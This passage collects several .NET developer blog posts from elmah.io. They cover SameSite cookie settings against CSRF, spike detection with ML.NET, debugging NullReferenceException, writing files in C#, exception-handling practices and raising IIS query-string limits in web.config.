We're almost there. A single issue is missing, though. All that work to prevent anyone from intercepting the traffic between your client and server and yet there is another problem. You may have heard about something called Cross-Site Request Forgery (CSRF). CSRF is the practice of cheating the user into requesting a website where he/she is already logged in. This can be in the form of hidden forms, image elements, and more.

None of the changes above guards against CSRF. Both ASP.NET and ASP.NET Core supports generating tokens for the server to validate each request. Here you let your server generate a unique token and update all of your forms to include this token. When posting data back to the server, ASP.NET (Core) validates the token and throws an error if invalid.

SameSite is a cookie attribute that tells if your cookies are restricted to first-party requests only. It may sound a bit strange, so let's look at an example. If a page on domain domain1.com requests a URL on domain1.com and the cookies are decorated with the SameSite attribute, cookies are sent between the client and server. If domain2.com requests domain1.com and the cookies of the website on domain1.com are decorated with the SameSite attribute, cookies are not exchanged.

.NET 4.7.2 and .NET Core 3.1 both supports the SameSite attribute. But the easiest implementation (IMO) is by including a rewrite rule in Web.config:

<system.webServer>
  <rewrite>
    <outboundRules>
      <clear />
      <rule name="Add SameSite" preCondition="No SameSite">
        <match serverVariable="RESPONSE_Set_Cookie" pattern=".*" negate="false" />
        <action type="Rewrite" value="{R:0}; SameSite=lax" />
      </rule>
      <preConditions>
        <preCondition name="No SameSite">
          <add input="{RESPONSE_Set_Cookie}" pattern="." />
          <add input="{RESPONSE_Set_Cookie}" pattern="; SameSite=lax" negate="true" />
        </preCondition>
      </preConditions>
    </outboundRules>
  </rewrite>
  ...
</system.webServer>

The rule automatically appends SameSite=lax to all cookies. lax means send the cookie on first-party requests or top-level navigation (URL in the browser changes). Another possible value is strict where a cookie is only sent on first-party requests. In this case, a domain linking to your site will cause IIS not to send the cookie.

We are finally there. You have now done everything in your power to secure your cookies. All of the examples in this post are for classic ASP.NET, MVC, Web API. Similar examples can be created for ASP.NET Core. If enough people are interested, I'll write another post for Core as well 👍

Would your users appreciate fewer errors?

elmah.io is the easy error logging and uptime monitoring service for .NET. Take back control of your errors with support for all .NET web and logging frameworks.

➡️ Error Monitoring for .NET Web Applications ⬅️

This article first appeared on the elmah.io blog at https://blog.elmah.io/the-ultimate-guide-to-secure-cookies-with-web-config-in-net/

Find anomalies with spike detection and ML.NET

Thomas Ardal — Wed, 21 Apr 2021 11:20:25 +0000

I recently started experimenting with machine learning on elmah.io. I chose ML.NET as the framework and I'm pretty happy with the results so far. The amount of documentation is good but mostly limited to flower detection samples (using the frequently used Iris data set). In this post, I'll share how we implemented anomaly/spike detection and which problems we ran into.

This is not an introduction post to machine learning. There are a lot of good resources out there, but I'll try to make sure that everyone can follow along.

There is a range of sub-areas within machine learning. For the rest of this post, I'll focus on anomaly/spike detection exclusively. So what is anomaly/spike detection all about?

Being able to log errors to a service like elmah.io is a great first step for all .NET developers. The next step is to get a good overview of the errors your applications are generating. This can be quite challenging. When you have a few errors generated every day, it's easy. But the complexity typically increases by the number of applications and lines of code you configure to log errors. anomaly/spike detection is a great way to help you with this process.

By letting machine learning crunch through your data, you can get a visual indication of a spike. A spike being something out of the ordinary (an anomaly). Looking at anomalies is a great way to identify when new errors are introduced and to help you classify the severity of different errors. Let's look at a real-life example from one of our logs:

As seen on the chart, two bars are marked with a red background color which is our way to indicate an anomaly visually. If you look at the error count before 10/19/2019 they are limited to only a few instances per day, while we see a sudden spike on that day. We did introduce a bug that day which was fixed pretty quickly. The system then ran error-free for two days and a new bug was introduced (dough!). Again, the bug is indicated by a new spike on 10/22/2019.

By looking at the chart and the description above, I hope that it is clear for everyone what a spike is and why it can be called an anomaly.

You may have heard about model training in machine learning and ML.NET. When I started diving into ML.NET, training was the first step in most of the blog posts I read. Luckily, spike detection doesn't require any training, why the code is extremely simple. In short, you hand a time series to ML.NET and it outputs a list of predictions.

No more explaining. Let's look at some code! Start by installing the following NuGet packages:

Install-Package Microsoft.ML
Install-Package Microsoft.ML.TimeSeries

The Microsoft.ML package contains all of the core code and interfaces to use ML.NET. Microsoft.ML.TimeSeries contains the prediction engine for time-series data. To use ML.NET, you will need to create a new instance of MLContext. The context is similar to contexts known from Entity Framework.

var mlContext = new MLContext();

As a quick test, we'll generate an input that contains a spike:

var counts = new[] { 0, 1, 1, 0, 2, 1, 0, 0, 1, 1, 50, 0, 1, 0, 2, 1, 0, 1 };

See the spike? The value 50 stands out. Let's see if ML.NET agrees. We will need a strongly typed object as input to ML.NET:

class Input
{
    public float Count { get; set; }
}

Like the input, ML.NET needs a strongly typed output class:

class Output
{
    [VectorType(3)]
    public double[] Prediction { get; set; }
}

The Output will include the prediction in a double array. Looking at the output for the first time, the code looks weird. How can an array of doubles with a VectorType attribute of 3 elements contain a prediction from a machine learning framework? Keep reading and we'll see in a minute.

Next, we will need an estimator. An estimator is an object that can be used to train a machine learning model (not interesting in this sample) and get a transformer needed to identify spikes:

var estimator = mlContext.Transforms.DetectIidSpike(
    nameof(Output.Prediction),
    nameof(Input.Count),
    confidence:99,
    pvalueHistoryLength:counts.Length / 4);

We call the DetectIidSpike-method part of the Microsoft.ML.TimeSeries package. The method takes 4 parameters. The names of the input and output properties that I already showed you, as well as two integers. confidence needs to be an integer in the range from 0 to 100. The higher the value, the more confident ML.NET needs to be if a value is a spike or not to output it as one. pvalueHistoryLength is somewhat of a magic value to me and I probably need to study machine learning more to fully understand this parameter (hey, at least I'm honest here 😂). Most spike detection tutorials set the value of pvalueHistoryLength to one-fourth of the input length, why I'll do the same for now.

Finally, time to get the transformer:

ITransformer transformer = estimator.Fit(mlContext.Data.LoadFromEnumerable(new List<Input>()));

The transformer is acquired by calling the Fit-method on the estimator that we fetched in a previous step. Notice how we send an empty list of Input objects to the method? The parameter for the Fit-method is used for training, which we don't need for spike detection.

With the transformer in hand, we can transform the input data to get the predictions from ML.NET:

var input = counts.Select(x => new Input { Count = x });
IDataView transformedData = transformer.Transform(mlContext.Data.LoadFromEnumerable(input));

The Transform-method expects an enumerable of objects conforming to the "schema" that we already gave ML.NET (nameof(Input.Count)). I'm using the LoadFromEnumerable-method once again, but this time with the list of integers instead of an empty list. If you're coding along, this is the input data you want a prediction on.

Only a single step left to get the predictions in a readable format:

var predictions = mlContext.Data.CreateEnumerable<Output>(transformedData, false);

In this step, I convert the output from Transform to an enumerable of Output objects as declared in a previous step. With this in hand, we can output the predictions:

foreach (var p in predictions)
{
    Console.WriteLine($"{p.Prediction[0]}\t{p.Prediction[1]}\t{p.Prediction[2]}");
}

Remember the double array and the VectorType on the Output class? Here you see the output of that. Each entry in the predictions enumerable is an array of three doubles:

0       0       0,5
0       1       0,15865526383236372
0       1       0,2613750311936282
0       0       0,17796491136567605
0       2       0,011390874461660316
0       1       0,49999999975
0       0       0,16490956024045023
0       0       0,2804576814507901
0       1       0,4034750154990393
0       2       0,011390874461660316
1       50      1E-08
0       0       0,36323554577142725
0       1       0,377624053546577
0       0       0,36323554577142725
0       2       0,4013610122501119
0       1       0,4034750154990393
0       0       0,16490956024045023
0       1       0,4034750154990393

The first column is a bit indicating if the entry is a spike or not. 0 means no and 1 means yes. The second column is the original input. And the third and final column is a calculated confidence value. The lower the number, the more likeable the input is a spike. When looking at the output we see the value of 50 being the only spike.

Here's the full code so far:

var counts = new[] { 0, 1, 1, 0, 2, 1, 0, 0, 1, 1, 50, 0, 1, 0, 2, 1, 0, 1 };

var mlContext = new MLContext();
var estimator = mlContext.Transforms.DetectIidSpike(nameof(Output.Prediction), nameof(Input.Count), confidence:99, pvalueHistoryLength:counts.Length / 4);
ITransformer transformer = estimator.Fit(mlContext.Data.LoadFromEnumerable(new List<Input>()));
var input = counts.Select(x => new Input { Count = x });
IDataView transformedData = transformer.Transform(mlContext.Data.LoadFromEnumerable(input));
var predictions = mlContext.Data.CreateEnumerable<Output>(transformedData, false);

foreach (var p in predictions)
{
    Console.WriteLine($"{p.Prediction[0]}\t{p.Prediction[1]}\t{p.Prediction[2]}");
}

At first glance, the code may look a bit over-engineered. But remember that ML.NET can be used for multiple purposes and the flow is pretty much the same if you train a model or not.

Let's play with the settings. Remember the confidence parameter with the value of 99? By specifying such a high value, ML.NET needs a very high confidence when making the judgement call whether an input is a spike or not. Let's change it to 95 and see what happens:

var estimator = mlContext.Transforms.DetectIidSpike(
    nameof(Output.Prediction),
    nameof(Input.Count),
    confidence:95,
    pvalueHistoryLength:counts.Length / 4);

With the same input, the predictions now looks like this:

0       0       0,5
0       1       0,15865526383236372
0       1       0,2613750311936282
0       0       0,17796491136567605
1       2       0,011390874461660316
0       1       0,49999999975
0       0       0,16490956024045023
0       0       0,2804576814507901
0       1       0,4034750154990393
0       1       0,2613750311936282
1       50      1E-08
0       0       0,368076688458975
0       1       0,38239457274913025
0       0       0,368076688458975
0       2       0,4013610122501119
0       1       0,4034750154990393
0       0       0,16490956024045023
0       1       0,4034750154990393

Notice the difference? The fifth element (value of 2) is now marked as a spike too.

Which value to use for confidence is totally up to your case and input value. Play around with different values and be the judge of what produces the best results for you.

One thing I came across while implementing spike detection for elmah.io is what may or may not be a bug. Let's change the input values to the following:

var counts = new[] { 1, 3, 0, 4, 5, 5, 4, 3, 3, 0, 13, 8, 1, 61, 21, 40, 7, 7, 5, 6, 8, 33, 11, 5,
    2, 10, 11, 18, 14, 23, 8, 17, 15, 13, 24, 29, 15, 20, 29, 19, 18, 17, 23, 47, 7, 14, 26, 28,
    5, 22, 47, 22, 20, 9, 40, 6, 8, 4, 10, 10, 1, 4, 27, 3, 3, 7, 6, 12, 8, 3, 1, 2, 0, 0, 2, 0,
    2, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 2 };

Spotting anomalies manually and without the help of ML.NET is now a whole lot harder. Here's part of the result:

0       1       0,5
0       3       0,022750062887256395
0       0       0,08000261555683919
0       4       0,07336260731420347
0       5       0,09324626262574676
0       5       0,19087154278882695
0       4       0,37936589390701053
0       3       0,4522491125423572
0       3       0,4543375551070543
0       0       0,09656461688070728
0       13      7,231836548493575E-07
0       8       0,16279622550878553
0       1       0,26866445055948984
0       61      1E-08
0       21      0,19532181235194518
0       40      0,07628985932177507
0       7       0,4814184562065965
0       7       0,4835626729623246
0       5       0,44158539201429914
0       6       0,467300428950856
0       8       0,48429199889094554
0       33      0,11185621221616127
0       11      0,4415187627738487
0       5       0,4219793790334213
0       2       0,34845080975673626
0       10      0,4668402175020555
0       11      0,45435592220182563
0       18      0,3164680969641882
0       14      0,4109081873786849
0       23      0,25204845788437136
0       8       0,4222073383577716
0       17      0,38281677839584366
0       15      0,4397732642572547
0       13      0,49932909372608614
0       24      0,26998351731163683
0       29      0,2086753725973
0       15      0,4965672805299245
0       20      0,32702008169487357
0       29      0,14736951748986427
0       19      0,3341649373312337
0       18      0,3817593360276714
0       17      0,4308978322639091
0       23      0,25778090864274994
1       47      0,0025041522676845784

The last line with the value of 47 is marked as a spike. When looking at the previous counts and the pattern in the data, 47 definitely looks like an anomaly. But take a look at line number 14. With value from 0 to 13 before it, 61 definitely looks like an anomaly as well. ML.NET seems to have a problem with confidence values lower than 0.05. StackOverflow suggested this quickfix:

if (p.Prediction[2] < (1 - 0.95))
{
    p.Prediction[0] = 1;
}

It's a bit of a hack, but it gets the job done:

0       1       0,5
1       3       0,022750062887256395
0       0       0,08000261555683919
0       4       0,07336260731420347
0       5       0,09324626262574676
0       5       0,19087154278882695
0       4       0,37936589390701053
0       3       0,4522491125423572
0       3       0,4543375551070543
0       0       0,09656461688070728
1       13      7,231836548493575E-07
0       8       0,16279622550878553
0       1       0,26866445055948984
1       61      1E-08

The downside here is that more input values are marked as spikes. I hope to be able to come up with a better fix or for Microsoft to make this work properly.

Would your users appreciate fewer errors?

elmah.io is the easy error logging and uptime monitoring service for .NET. Take back control of your errors with support for all .NET web and logging frameworks.

➡️ Error Monitoring for .NET Web Applications ⬅️

This article first appeared on the elmah.io blog at https://blog.elmah.io/find-anomalies-with-spike-detection-and-ml-net/

Debugging System.NullReferenceException - Object reference not set to an instance of an object

Thomas Ardal — Wed, 07 Apr 2021 06:13:02 +0000

Time for another post in the series Debugging common .NET exceptions. Today's exception is, without a doubt, the error most people have experienced: System.NullReferenceException. The exception happens when you try to invoke a reference that you were expecting to point to an object but in fact, points to null. Let's get started!

Handling the error

There are some clever ways to avoid a NullReferenceException, but before we start looking into those, let us see how the exception can be caught. Being a plain old C# exception, NullReferenceException can be caught using a try/catch:

try
{
    string s = null;
    s.ToString();
}
catch (NullReferenceException e)
{
    // Do something with e, please.
}

Running the code above will produce the following error:

System.NullReferenceException: Object reference not set to an instance of an object.

Debugging the error

We already know why the exception is happening. Something is null. When looking at the code above, it's clear that s is null and the stack trace even tells us that:

Sometimes spotting what is null can be hard. Take a look at the following example:

var street = service.GetUser().Address.Street;

If the code above throws a NullReferenceException, what is null? service? The result of GetUser()? Address? At first glance, Visual Studio isn't exactly helpful either:

There is a range of different ways to find out what is going on. Let's look at the most commonly used ones.

Splitting chained method-calls to multiple lines

Spotting which call that caused an error is a lot easier if the calls are split into multiple lines:

var service = new Service();
var user = service.GetUser();
var address = user.Address;
var street = address.Street;

Running the code reveals the actual call causing the exception:

In the example above user.Address returns null, why address.Street causes the NullReferenceException.

While splitting code into atoms like this can help debug what is going wrong, it's not preferable in terms of readability (IMO).

Using Null Reference Analysis in Visual Studio

If you are on Visual Studio 2017 or newer (if not, now is the time to upgrade), you will have the Null Reference Analysis feature available. With this in place, Visual Studio can show you exactly what is null. Let's change the example back to method-chaining:

var street = service.GetUser().Address.Street;

To enable the analysis go to Debug | Windows | Exception Settings. Check Common Language Runtime Exceptions (if not already checked) or extend the node and check the exceptions you are interested in. In this case, you can check System.NullReferenceException. When running the code, the debugger breaks on the NullReferenceException and you now see the Exception Thrown window:

Voila! The window says "ConsoleApp18.User.Address.get returned null". Exactly what we wanted to see. This will require you to run the code locally, though. If you are experiencing the exception on your production website, the Null Reference Analysis will not be available, since this is a feature belonging to Visual Studio (unfortunately). With that said, you can attach a debugger to a remote site running on Azure as explained here: Introduction to Remote Debugging on Azure Web Sites.

Fixing the error

There are various ways to fix NullReferenceException. We'll start with the simple (but dirty) approach.

Using null checks

If null is an allowed value of an object, you will need to check for it. The most simple solution is to include a bunch of if-statements.

if (service != null)
{
    var user = service.GetUser();
    if (user != null)
    {
        var address = user.Address;
        if (address != null)
        {
            var street = address.Street;
        }
    }
}

The previous code will only reach address.Street if everything else is not null. We can probably agree that the code isn't exactly pretty. Having multiple nested steps is harder to read. We can reverse the if-statements:

if (service == null) return;
var user = service.GetUser();
if (user == null) return;
var address = user.Address;
if (address == null) return;
var street = address.Street;

Simpler, but still a lot of code to get a street name.

Using null-conditional operator

C# 6 introduced a piece of syntactic sugar to check for null: null-conditional operator. Let's change the method-chain example from before to use the "new" operator:

var user = service?.GetUser()?.Address?.Street;

The ? to the right of each variable, corresponds the nested if-statements from previously. But with much less code.

Use Debug.Assert during development

When getting a NullReferenceException it can be hard to spot the intent with the code from the original developer. Rather than including if-statements, it can be clearer for future authors of your code to use the Debug.Assert-method. Much like in a xUnit or NUnit test, you use Assert to verify the desired state on your objects. In the example from above, the service object could have come through a parameter or a constructor injected dependency:

class MyClass
{
    Service service;

    public MyClass(Service service)
    {
        this.service = service;
    }

    public string UserStreet()
    {
        return service.GetUser().Address.Street;
    }
}

To make a statement in your code that service should never be allowed to have the value of null, extend the constructor:

public MyClass(Service service)
{
    Debug.Assert(service != null);
    this.service = service;
}

In the case MyClass is constructed with null, the following error is shown when running locally:

Use nullable reference types in C# 8.0

When designing code you often end up expecting parameters to be not null but end up checking for null to avoid a NullReferenceException. As you already know, all reference types in C# can take the value of null. Value types like int and boolean cannot take a value of null unless explicitly specified using the nullable value type (int? or Nullable<int>). Maybe it should have been the other way around with reference types all along?

C# 8 can fix this with nullable reference types (maybe NOT nullable reference types are a better name). Since this is a breaking change, it is launched as an opt-in feature. Nullable reference types are a great way to avoid NullReferenceException since you are very explicit about where you expect null and where not.

To enable not nullable reference types, create a new .NET Core 3 project and add the following to the csproj file:

<LangVersion>8.0</LangVersion>
<Nullable>enable</Nullable>

You should be on C# 8 already, but to make it explicit, I've added the LangVersion element. The Nullable element enables nullable reference types. Out of the box, C# 8 creates a warning if it identifies the use of null where a value is expected. Let's see how that looks:

class Program
{
    static void Main()
    {
        new Program().SayHello(null);
    }

    public void SayHello(string msg)
    {
        Console.WriteLine(msg);
    }
}

When compiling we see the following warning:

Program.cs(9,36): warning CS8625: Cannot convert null literal to non-nullable reference type. [C:\projects\core3\core3.csproj]

I know you are not one of them, but some people developed a warning resistance which means that warnings are simply ignored. To overcome this, make sure that errors like this causes build errors over warnings by adding the following to csproj:

<WarningsAsErrors>CS8602,CS8603,CS8618,CS8625</WarningsAsErrors>

This will tell the C# compiler to treat these four nullable reference type warnings as errors instead.

Just to make it clear, allowing null in the msg parameter, you use the ? characters as with value types:

public void SayHello(string? msg)
{
    ...
}

Logging and monitoring

Logging and monitoring for null reference exceptions are a must. While some developers tempt to create control flow from exceptions (no one should), null reference exceptions should never happen. This means that a System.NullReferenceException is a type of exception that should always be logged and fixed. A null check through either an if statement or the null-conditional operator is always the preferred way of handling potential null values. But make sure to implement a logging strategy that logs all uncaught exceptions, including the System.NullReferenceException.

When logging a System.NullReferenceException in a log file, database, elmah.io, or similar, it can be hard to spot what is null. You typically only see the method-name that causes the NullReferenceException and the Null Reference Analysis feature is only available while debugging inside Visual Studio. I will recommend you to always Include filename and line number in stack traces. This will pinpoint the exact line where the error happens.

Would your users appreciate fewer errors?

elmah.io is the easy error logging and uptime monitoring service for .NET. Take back control of your errors with support for all .NET web and logging frameworks.

➡️ Error Monitoring for .NET Web Applications ⬅️

This article first appeared on the elmah.io blog at https://blog.elmah.io/debugging-system-nullreferenceexception-object-reference-not-set-to-an-instance-of-an-object/

How to write to a file with C# - StackOverflow doesn't get it right

Thomas Ardal — Wed, 10 Mar 2021 07:18:11 +0000

Today's tip isn't exactly about a hot new version of ASP.NET Core or anything like that. I often find myself googling "simple" questions like how to write text to a file in the quickest and effective way. Most results are either blog posts using .NET 2 as an example, or StackOverflow answers from 2010. Common for all samples is that only the essential lines of code are added, and no focus on crucial aspects like error handling is highlighted. This post is the first one in the new how-to series and my attempt to sum up what I've learned over the years.

File.WriteAllText

The first example of writing a string to a file is using the File.WriteAllText method. The reason I mention this as the first example, is because it's what 95% (maybe more?) of people are doing. And I understand why since I have been doing this for years. Take a look at the simplicity of this approach:

var writeMe = "File content";
File.WriteAllText("output.txt", writeMe);

The example produces a file named output.txt with the content of the writeMe variable. This approach can be fine for smaller text files, but shouldn't be the default choice when handling larger amounts of data.

Let's create a scenario for the rest of the post, where a large amount of data should be stored and use WriteAllText to write the data to a file:

var sb = new StringBuilder();
var lines = Enumerable
    .Range(1, 1000000)
    .Select(i => $"Line number {i}")
    .ToList();
lines.ForEach(i => sb.AppendLine($"Line number {i}"));

var content = sb.ToString();
File.WriteAllText("output.txt", content);

In the example, I generate 1 million lines and store them in the output.txt file. On my machine, the code takes around 100 ms. That's pretty impressive for most scenarios, but I'm sure we can do better.

File.CreateText

Where the WriteAllText method writes everything at once, you may need to write in batches. Let's reuse the StringBuilder from before to illustrate how this can be done using the File.CreateText method:

using (var writer = File.CreateText("output2.txt"))
{
    foreach (var line in lines)
    {
        writer.WriteLine(line);
    }
}

The CreateText method returns a StreamWriter object that we can use to publish multiple lines to a file or even write to the file one char at a time. When disposing of the StreamWriter, the buffer is flushed to the underlying stream, and the file handle is released. You can manually call the Flush method to get the same result.

FileStream

I've seen it so many times. Customer complaints that the UI "hangs" when clicking something the involves reading from or writing to a large file. You probably know where this is going, right? Async!

A good choice for writing asynchronously to a file from .NET is using the FileStream class. Let's port the example from before to use FileStream. First, a synchronous example:

using (var stream = new FileStream(
    "output3.txt", FileMode.Create, FileAccess.Write, FileShare.Write, 4096))
{
    var bytes = Encoding.UTF8.GetBytes(content);
    stream.Write(bytes, 0, bytes.Length);
}

In the example, I wrap the FileStream in a using, which will (not surprisingly) dispose of the stream once done with it. You mainly use the Write method, which writes one or more bytes to the underlying stream. You can call the Write method multiple times, which makes this a good choice when needing to iterate over something like database records and write each record to the same file.

Using FileStream is typically faster than the methods from the last two examples. When storing the data generated for this post, using the FileStream is around 20% faster than the other examples. And even more quickly when running on .NET Core.

Now for the async version:

using (var stream = new FileStream(
    "output4.txt", FileMode.Create, FileAccess.Write, FileShare.Write, 4096, useAsync:true))
{
    var bytes = Encoding.UTF8.GetBytes(content);
    await stream.WriteAsync(bytes, 0, bytes.Length);
}

Notice how I have added true (useAsync parameter) as the last parameter to the FileStream constructor. This tells the FileStream to use asynchronous IO. I then call the WriteAsync method instead of the Write method from the previous sample. Also, remember to await the method.

When looking at the performance of the async code in the last example, performance corresponds to the two first examples. So why use the async FileStream when slower than the synchronous one? To avoid blocking the main thread, of course.

.NET Core

We briefly touched upon .NET Core in one of the previous examples. I'm happy to tell you that the APIs we have used in the post all share the same signature in .NET Core. This means that you can switch your project to .NET Core and recompile all of the examples from above without any compile errors.

When running the examples, all of the code runs around 5-10 ms faster. The difference between .NET Full Framework and .NET Core will, of course, be dependent on your requirements.

Exception handling

An often overlooked (yet so important) aspect of writing to a file is exception handling. A lot of things can go wrong when interacting with the file-system. There are two groups of exceptions you need to worry about:

Problems with the path.
Problems while writing to disk.

Before we dig into each group, let's add exception handling to the File.WriteAllText example:

try
{
    File.WriteAllText("c:\\temp\\output.txt", "Hello World");
}
catch (DirectoryNotFoundException dirNotFoundException)
{
    // Create and try again
}
catch (UnauthorizedAccessException unauthorizedAccessException)
{
    // Show a message to the user
}
catch (IOException ioException)
{
    logger.Error(ioException, "Error during file write");
    // Show a message to the user
}
catch (Exception exception)
{
    logger.Fatal(exception, "We need to handle this better");
    // Show general message to the user
}

Please note that implementing control flow using exceptions is considered a bad practice. While the code above serves well as an example, you probably want to check common scenarios like a directory not found before trying to write to a file.

Problems with the path

There is a range of different issues that can cause exceptions to happen when dealing with files. I have already blogged about a couple of these here: Debugging System.IO.FileNotFoundException - Cause and fix and Debugging System.UnauthorizedAccessException (often followed by: Access to the path is denied).

You should always wrap code writing to a file in a try-catch and decide what should happen if the following exceptions occur:

DirectoryNotFoundException
UnauthorizedAccessException

Some exceptions can be implemented as auto-healing by your code (like creating a missing directory and write to write the file again), while others will result in a message to the user or a log message to be written to your log.

Problems while writing to disk

Other exceptions deal with problems while writing content to the file. Once you know that the file can be created and that the directory to contain the new file exists and that the process has sufficient access, a large number of things can still go wrong.

Most problems happening during the actual write, are thrown as an IOException. IOException is the base class for most file-related exceptions anyway, so make sure to catch each sub-class to be able to handle different scenarios accordingly.

Would your users appreciate fewer errors?

elmah.io is the easy error logging and uptime monitoring service for .NET. Take back control of your errors with support for all .NET web and logging frameworks.

➡️ Error Monitoring for .NET Web Applications ⬅️

This article first appeared on the elmah.io blog at https://blog.elmah.io/how-to-write-to-a-file-with-csharp-stackoverflow-doesnt-get-it-right/

C# exception handling best practices

Thomas Ardal — Wed, 27 Jan 2021 09:16:05 +0000

I'm getting near my 20th anniversary in the tech industry. During the years, I have seen almost every anti-pattern when dealing with exceptions (and made the mistakes personally as well). This post contains a collection of my best practices when dealing with exceptions in C#.

Don't re-throw exceptions

I see this over an over again. People are confused that the original stack trace "magically" disappear in their error handling. This is most often caused by re-throwing exceptions rather than throwing the original exception. Let's look at an example where we have a nested try/catch:

try
{
    try
    {
        // Call some other code thay may cause the SpecificException
    }
    catch (SpecificException specificException)
    {
        log.LogError(specificException, "Specific error");
    }

    // Call some other code
}
catch (Exception exception)
{
    log.LogError(exception, "General erro");
}

As you probably already figured out, the inner try/catch catches, logs, and swallow the exception. To throw the SpecificException for the global catch block to handle it, you need to throw it up the stack. You can either do this:

catch (SpecificException specificException)
{
    // ...
    throw specificException;
}

Or this:

catch (SpecificException specificException)
{
    // ...
    throw;
}

The main difference here is that the first example re-throw the SpecificException which causes the stack trace of the original exception to reset while the second example simply retain all of the details of the orignal exception. You almost always want to use the second example.

Decorate exceptions

I see this used way to rarely. All exceptions extend Exception, which has a Data dictionary. The dictionary can be used to include additional information about an error. Whether or not this information is visible in your log depends on what logging framework and storage you are using. For elmah.io, Data entries are visible in the Data tab within elmah.io.

To include information in the Data dictionary, add key/value pairs:

var exception = new Exception("En error happened");
exception.Data.Add("user", Thread.CurrentPrincipal.Identity.Name);
throw exception;

In the example, I add a key named user with a potential username stored on the thread.

You can decorate exceptions generated by external code too. Add a try/catch:

try
{
    service.SomeCall();
}
catch (Exception e)
{
    e.Data.Add("user", Thread.CurrentPrincipal.Identity.Name);
    throw;
}

The code catches any exceptions thrown by the SomeCall method and includes a username on the exception. By adding the throw keyword to the catch block, the original exception is thrown further up the stack.

Catch the more specific exceptions first

You know you have code similar to this:

try
{
    File.WriteAllText(path, contents);
}
catch (Exception e)
{
    logger.Error(e);
}

Simply catching Exception and logging it to your preferred logging framework is quick to implement and get the job done. Most libraries available in .NET can throw a range of different exceptions, and you might even have a similar pattern in your code-base. Catching multiple exceptions ranging from the most to the least specific error is a great way to differentiate how you want to continue on each type.

In the following example, I'm explicit about which exceptions to expect and how to deal with each exception type:

try
{
    File.WriteAllText(path, contents);
}
catch (ArgumentException ae)
{
    Message.Show("Invalid path");
}
catch (DirectoryNotFoundException dnfe)
{
    Message.Show("Directory not found");
}
catch (Exception e)
{
    var supportId = Guid.NewGuid();
    e.Data.Add("Support id", supportId);
    logger.Error(e);
    Message.Show($"Please contact support with id: {supportId}");
}

By catching ArgumentException and DirectoryNotFoundException before catching the generic Exception, I can show a specialized message to the user. In these scenarios, I don't log the exception since the user can quickly fix the errors. In the case of an Exception, I generate a support id, log the error (using decorators as shown in the previous section) and show a message to the user.

Please notice that while the code above serves the purpose of explaining exception order, it is a bad practice to implement control flow using exception like this. Which is a perfect introduction to the next best practice:

Avoid exceptions

It may sound obvious to avoid exceptions. But many methods that throw an exception can be avoided by defensive programming.

One of the most common exceptions is NullReferenceException. In some cases, you may want to allow null but forget to check for null. Here is an example that throws a NullReferenceException:

Address a = null;
var city = a.City;

Accessing a throws an exception but play along and imagine that a is provided as a parameter.

In case you want to allow a city with a null value, you can avoid the exception by using the null-conditional operator:

Address a = null;
var city = a?.City;

By appending ? when accessing a, C# automatically handles the scenario where the address is null. In this case, the city variable will get the value null.

Another common example of exceptions is when parsing numbers or booleans. The following example will throw a FormatException:

var i = int.Parse("invalid");

The invalid string cannot be parsed as an integer. Rather than including a try/catch, int provides a fancy method that you probably already used 1,000 times:

if (int.TryParse("invalid", out int i))
{
}

In case invalid can be parsed as an int, the TryParse returns true and put the parsed value in the i variable. Another exception avoided.

Create custom exceptions

It's funny to think back on my years as a Java programmer (back when .NET was in beta). We created custom exceptions for everything. Maybe it was because of the more explicit exception implementation in Java, but it's a pattern that I don't see repeated that often in .NET and C#. By creating a custom exception, you have much better possibilities of catching specific exceptions, as already shown. You can decorate your exception with custom variables without having to worry if your logger supports the Data dictionary:

public class MyVerySpecializedException : Exception
{
    public MyVerySpecializedException() : base() {}
    public MyVerySpecializedException(string message) : base(message) {}
    public MyVerySpecializedException(string message, Exception inner) : base(message, inner) {}

    public int Status { get; set; }
}

The MyVerySpecializedException class (maybe not a class name that you should re-use :D) implements three constructors that every exception class should have. Also, I have added a Status property as an example of additional data. This will make it possible to write code like this:

try
{
    service.SomeCall();
}
catch (MyVerySpecializedException e) when (e.Status == 500)
{
    // Do something specific for Status 500
}
catch (MyVerySpecializedException ex)
{
    // Do something general
}

Using the when keyword, I can catch a MyVerySpecializedException when the value of the Status property is 500. All other scenarios will end up in the general catch of MyVerySpecializedException.

Log exceptions

This seem so obvious. But I have seen too much code failing in the subsequent lines when using this pattern:

try
{
    service.SomeCall();
}
catch
{
    // Ignored
}

Logging both uncaught and catched exceptions is the least you can do for your users. Nothing is worse than users contacting your support, and you had no idea that errors had been introduced and what happened. Logging will help you with that.

There are several great logging frameworks out there like NLog and Serilog. If you are an ASP.NET (Core) web developer, logging uncaught exceptions can be done automatically using elmah.io or one of the other tools available out there.

Would your users appreciate fewer errors?

elmah.io is the easy error logging and uptime monitoring service for .NET. Take back control of your errors with support for all .NET web and logging frameworks.

➡️ Error Monitoring for .NET Web Applications ⬅️

This article first appeared on the elmah.io blog at https://blog.elmah.io/csharp-exception-handling-best-practices/

Fix max URL and query string length with web.config and IIS

Thomas Ardal — Wed, 13 Jan 2021 09:19:50 +0000

I had a problem the other day that I believe qualifies as a blog post. An elmah.io user reported that refreshing the organization overview would generate a 404. After debugging the problem, I found out that the URL generated by that page can be too long. This post is an explanation of the error and how to fix it.

The error

When looking at the error generated on localhost, I saw the following:

And in text:

HTTP Error 404.15 - Not Found
The request filtering module is configured to deny a request where the query string is too long

When looking at the Requested URL field at the bottom of the screenshot, it is clear that the URL is long. IIS enforces some limitations in the number of characters accepted as part of the query string. As suggested by the error message, this can be fixed by modifying the maxQueryString settings in the web.config file. Let's quickly recap the structure of an URL:

Protocol	Domain	Path	Query string	Fragment
https://	app.elmah.io	/errorlog/search/	?logId=42	#overviewTab

The error above is on the query string part, but there are other limitations as well. For the Path part, IIS also limits the number of allowed characters. This setting is named maxUrl, which doesn't make a lot of sense (IMO) when looking at the breakdown above. Both maxQueryString and maxUrl have default values, as shown below:

	Protocol	Domain	Path	Query string	Fragment
	https://	app.elmah.io	/errorlog/search/	?logId=42	#overviewTab
Max length			`4096`	`2048`

The default values are quite decent and cover most scenarios. To support a very long query string (or path) as illustrated by this error, there's an easy fix.

The fix

As you probably already guessed, the fix is to change the maxQueryString setting (or maxUrl if the problem is in the path). To do so, modify the security element in the web.config file:

<configuration>
  ...
  <system.webServer>
    ...
    <security>
      <requestFiltering>
        <requestLimits maxQueryString="8192" />
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>

In this example I have quadrupled the allowed number of characters in the query string.

For older websites, you need to change the setting as part of the system.web element:

<configuration>
  ...
  <system.web>
